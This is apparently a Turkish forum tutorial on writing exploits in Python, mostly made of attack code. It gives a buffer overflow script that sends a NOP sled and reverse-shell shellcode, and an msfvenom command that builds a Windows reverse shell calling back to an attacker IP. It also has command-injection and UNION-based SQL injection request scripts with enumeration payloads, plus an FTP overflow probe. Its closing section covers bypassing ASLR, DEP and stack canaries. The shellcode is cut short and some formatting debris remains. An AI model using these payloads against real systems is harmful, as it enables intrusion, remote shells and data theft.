Temel Bilgiler ve Ön Koşullar:
- Python Bilgisi: İleri seviye Python bilgisine sahip olmalısın (veri yapıları, fonksiyonlar, sınıflar, istisna yönetimi, modüller).
- Ağ Temelleri: TCP/IP, soket programlama, HTTP/HTTPS gibi ağ protokollerini anlamalısın.
- İşletim Sistemleri: Linux/Windows gibi işletim sistemlerinin nasıl çalıştığına dair temel bilgin olmalı (bellek yönetimi, süreçler, dosya sistemleri).
- Assembly Dili (Tercihen): Özellikle bellek bozulması (memory corruption) exploit'leri için assembly dilini anlamak çok faydalıdır.
- Zafiyet Türleri: Buffer overflow, format string bug, command injection, SQL injection, XXE, SSRF gibi yaygın zafiyet türlerini bilmelisin.
- Debugger Kullanımı: GDB (Linux), Windbg (Windows) gibi debugger'ları kullanabilmelisin.
- Hex Editörler: HxD gibi hex editörler faydalıdır.
İleri Seviye Python Exploit Kodlama Adımları:
1. Keşif (Reconnaissance) ve Zafiyet Tespiti:
Exploit yazmadan önce hedef sistemde veya uygulamada bir zafiyet bulman gerekir.- Açık Kaynak İstihbaratı (OSINT): Hedef hakkında bilgi toplama (versiyonlar, kullanılan teknolojiler).
- Port Taraması: Nmap gibi araçlarla açık portları ve çalışan servisleri tespit etme.
- Web Uygulaması Taraması: Burp Suite, OWASP ZAP gibi araçlarla web uygulaması zafiyetlerini arama.
- Manuel İnceleme: Uygulama kodunu inceleme (varsa) veya binary analizi.
- Fuzzing: Otomatik olarak geçersiz veya beklenmedik girişler göndererek çökme veya anormal davranışları tetikleme. Python'da boofuzz veya AFL gibi araçları kullanabilirsin.
2. Zafiyetin Anlaşılması ve Doğrulanması:
Bir potansiyel zafiyet bulduğunda, bunun nasıl çalıştığını detaylıca anlaman gerekir.- Debugger Kullanımı: Uygulamayı bir debugger ile çalıştırarak çökme anında bellek durumunu incele. Hangi register'ların etkilendiğini, stack pointer'ın (ESP) ve base pointer'ın (EBP) durumunu gözlemle.
- Tekrarlanabilirlik: Zafiyeti tutarlı bir şekilde tetikleyebildiğinden emin ol.
3. Exploit Geliştirme Aşamaları:
Python, hem payload oluşturma hem de ağ etkileşimi için harikadır.a. Bellek Bozulması Exploitleri (Buffer Overflow, Format String Bugs vb.)
Bu tür exploitler genellikle C/C++ gibi dillerde yazılmış, bellek güvenliği olmayan uygulamaları hedef alır. Python, payload oluşturmak ve hedef sisteme göndermek için kullanılır.
- NOP Sled (No Operation Sled): Shellcode'a atlamayı kolaylaştırmak için arka arkaya NOP (0x90) instruction'ları ekleme.
- Shellcode: Hedef sistemde çalıştırılacak küçük, optimize edilmiş assembly kodu. Metasploit'in msfvenom aracıyla yaygın shellcode'lar üretebilirsin.
- Return Oriented Programming (ROP): ASLR (Address Space Layout Randomization) ve DEP/NX (Data Execution Prevention/No eXecute) gibi güvenlik önlemlerini aşmak için var olan kod parçacıklarını (gadget'ları) kullanma. Bu çok daha ileri bir konudur. ROPgadget gibi araçlar yardımcı olabilir.
Bir programın 256 baytlık bir buffer'ı olduğunu varsayalım ve sen 500 bayt göndererek EIP'yi overwrite edebiliyorsun.
Onemli Not: Yukarıdaki kod sadece bir konsepttir. junk boyutu, eip adresi ve shellcode senin hedef uygulamana ve bulduğun zafiyete göre değişecektir. Bu değerleri fuzzing ve debugger kullanarak hassas bir şekilde belirlemen gerekir.Python:import socket import sys # Hedef IP ve Port RHOST = "192.168.1.100" RPORT = 9999 # Payload yapısı # JUNK (doldurma) + EIP (geri dönüş adresini yazmak için) + NOP Sled + SHELLCODE # 1. JUNK (Doldurma): EIP'ye ulaşana kadar göndermen gereken veri miktarı # Bu değeri fuzzing veya debugger ile bulman gerekir. # Örneğin, 200 bayt sonra EIP'yi overwrite ettiğini varsayalım. junk = b"A" * 200 # 2. EIP (Return Address): Shellcode'unun başlayacağı adres. # ASLR'nin kapalı olduğu veya aşabildiğin senaryolarda sabit bir adres bulman gerekir. # Örneğin, 0x08041414 gibi bir adres (atlama adresi veya NOP sled'e işaret eden adres). # Little-endian formatında yazmalısın (0xDDCCBBAA -> \xAA\xBB\xCC\xDD) eip = b"\x14\x14\x04\x08" # Örnek adres # 3. NOP Sled: Shellcode'a daha güvenli atlamak için 0x90'lardan oluşan bir blok # Genellikle shellcode'dan önce konulur. nops = b"\x90" * 32 # 32 bayt NOP # 4. SHELLCODE: Çalıştırmak istediğin komutlar (örneğin, bir ters kabuk alma) # msfvenom ile üretilebilir: # msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f python -v shellcode # Örneğin, 192.168.1.50'ye 4444 portundan bağlanacak bir Windows shellcode'u: shellcode = ( b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" b"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcb\x0d\x01\xc1\x49\xed\x52" b"\xeb\x56\x8b\x72\x20\x8b\x42\x3c\x8b\x4c\x11\x28\x8b\x11\x8b" # ... devam eden shellcode byte'ları ) # Exploit payload'unu birleştir # İkinci bir JUNK, shellcode'dan sonra buffer'ı doldurmak için kullanılabilir buffer = junk + eip + nops + shellcode + b"C" * (500 - len(junk + eip + nops + shellcode)) print("[+] Exploit Payload Uzunluğu:", len(buffer)) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) print("[+] Bağlantı Kuruldu.") # Eğer servis bir başlangıç mesajı bekliyorsa oku s.recv(1024) print("[+] Payload Gönderiliyor...") s.send(buffer + b"\r\n") # Servisin beklediği sonlandırma karakteri önemli print("[+] Payload Gönderildi. Kabuk gelmesini bekle.") s.close() except Exception as e: print("[-] Hata:", e) sys.exit()
b. Komut Enjeksiyonu (Command Injection) Exploitleri:
Uygulamanın kullanıcı girdisini doğrudan bir komut olarak çalıştırmasına neden olan zafiyetlerdir.
Python:
import requests[/COLOR]
# Zafiyetli web uygulaması URL'si
target_url = "http://example.com/cgi-bin/search.cgi"
# Zafiyetli parametre
param_name = "query"
# Komut enjekte etme
# '&' veya ';' karakterleri genellikle komut zincirleme için kullanılır.
# Örneğin, 'ls -la' komutunu çalıştırmak
command = "ls -la"
payload = f"test; {command}" # Linux
# payload = f"test& {command}" # Windows
data = {param_name: payload}
try:
response = requests.get(target_url, params=data) # GET request
# response = requests.post(target_url, data=data) # POST request
print("[+] Yanıt Durum Kodu:", response.status_code)
print("[+] Yanıt İçeriği:\n", response.text)
except requests.exceptions.RequestException as e:
print("[-] Hata:", e)
c. SQL Enjeksiyonu (SQL Injection) Exploitleri:
Veritabanı sorgularına kötü amaçlı SQL kodları enjekte ederek veritabanından bilgi çalma veya manipüle etme. Python, requests kütüphanesi ile web tabanlı SQL injection'ları otomatikleştirmek için kullanılır. sqlmap gibi araçlar bu konuda çok daha gelişmiştir, ancak mantığını anlamak önemlidir.
Python:
import requests
target_url = "http://example.com/products.php?id="
# SQLi Payload (örneğin, UNION tabanlı)
# Hedef tablonun adını ve sütun sayısını önceden bulduğunu varsayalım.
# Order By ile sütun sayısını bulma: ' ORDER BY 1-- ', ' ORDER BY 2-- ' vb.
# ' UNION SELECT 1,2,3-- ' ile görüntülenebilir sütunları bulma
# ' UNION SELECT 1,database(),3-- ' ile veritabanı adını bulma
# ' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- '
# ' UNION SELECT 1,column_name,3 FROM information_schema.tables WHERE table_name='users' LIMIT 0,1-- '
payload = "1 UNION SELECT 1,version(),database()--" # Veritabanı versiyonu ve adı
try:
response = requests.get(target_url + payload)
print("[+] Yanıt Durum Kodu:", response.status_code)
print("[+] Yanıt İçeriği:\n", response.text)
except requests.exceptions.RequestException as e:
print("[-] Hata:", e)
d. Ağ Servis Zafiyetleri (Telnet, FTP, SMTP vb.):
Python'ın socket kütüphanesi, bu tür servislerle düşük seviyeli etkileşim kurmak için idealdir.
Python:
import socket
import time
RHOST = "192.168.1.100"
RPORT = 21 # FTP portu
username_payload = b"Anonymous\r\n"
password_payload = b"password\r\n"
# FTP Sunucusunda bir zafiyet olduğunu varsayalım
# Örneğin, uzun bir kullanıcı adı veya parola gönderdiğinde çöküyor.
# user_overflow = b"USER " + b"A" * 500 + b"\r\n" # Buffer Overflow
# pass_overflow = b"PASS " + b"B" * 1000 + b"\r\n"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
print("[+] Bağlantı Kuruldu.")
# Servisten gelen başlangıç banner'ını oku
data = s.recv(1024)
print("[+] Sunucu Banner'ı:", data.decode().strip())
# Örnek: Normal login
s.send(b"USER " + username_payload)
data = s.recv(1024)
print("[+] Kullanıcı Adı Yanıtı:", data.decode().strip())
s.send(b"PASS " + password_payload)
data = s.recv(1024)
print("[+] Parola Yanıtı:", data.decode().strip())
# Eğer exploit payload'ı gönderilecekse:
# s.send(user_overflow)
# data = s.recv(1024)
# print("[+] Overflow Yanıtı:", data.decode().strip())
s.send(b"QUIT\r\n")
s.close()
except Exception as e:
print("[-] Hata:", e)
Python Exploit Geliştirmede Kullanılan Kütüphaneler ve Araçlar:
- socket: Düşük seviyeli ağ iletişimi için.
- requests: HTTP/HTTPS istekleri için (web tabanlı zafiyetler).
- pwntools: Exploit geliştirmek için özel olarak tasarlanmış harika bir kütüphane. Shellcode'ları, ROP zincirlerini, packed değerleri (little-endian/big-endian) kolayca oluşturmanı sağlar. Bellek bozulması exploit'leri için olmazsa olmazdır.
- struct: Python değerlerini C yapılarına benzer şekilde bayt dizilerine dönüştürmek için. Özellikle adresleri little-endian formatında yazmak için önemlidir.
- subprocess: Sistem komutlarını çalıştırmak için (eğer exploit yerel ise veya bir sistemde komut çalıştırmak istiyorsan).
- paramiko: SSH etkileşimleri için.
- scapy: Ağ paketlerini oluşturmak, göndermek ve koklamak için (daha çok ağ tabanlı analiz ve zafiyetler).
- msfvenom (Metasploit Framework): Çok çeşitli shellcode'lar üretmek için.
- Debugger'lar (GDB, WinDbg, Immunity Debugger): Uygulama davranışını ve bellek durumunu analiz etmek için.
Güvenlik Önlemleri ve Aşımları (Bypasses):
Modern işletim sistemleri birçok güvenlik önlemi içerir:- ASLR (Address Space Layout Randomization): Bellek adreslerinin rastgele atanması. Aşımları ROP zincirleri ve bilgi sızdırma (information leak) zafiyetleriyle yapılır.
- DEP/NX (Data Execution Prevention/No eXecute): Veri segmentlerinde kod yürütmeyi engeller. ROP yine burada devreye girer.
- Canaries/Stack Cookies: Stack'in üzerine yazılmasını tespit etmek için kullanılan rastgele değerler.
- PIE (Position Independent Executables): ASLR'yi daha etkili hale getirir.
Moderatör tarafında düzenlendi:
